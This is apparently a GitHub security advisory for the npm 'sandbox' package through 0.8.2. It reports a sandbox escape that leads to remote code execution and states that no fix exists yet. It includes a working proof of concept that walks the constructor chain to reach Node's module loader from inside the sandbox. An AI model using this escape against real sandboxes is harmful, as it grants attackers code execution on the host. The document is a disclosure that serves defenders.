GHSA-fm4j-4xhm-xpwx
Sandbox Breakout / Arbitrary Code Execution in sandbox
All versions of sandbox through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.
Proof of concept
var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)
Recommendation
No fix is currently available. Consider using an alternative module until a fix is made available.
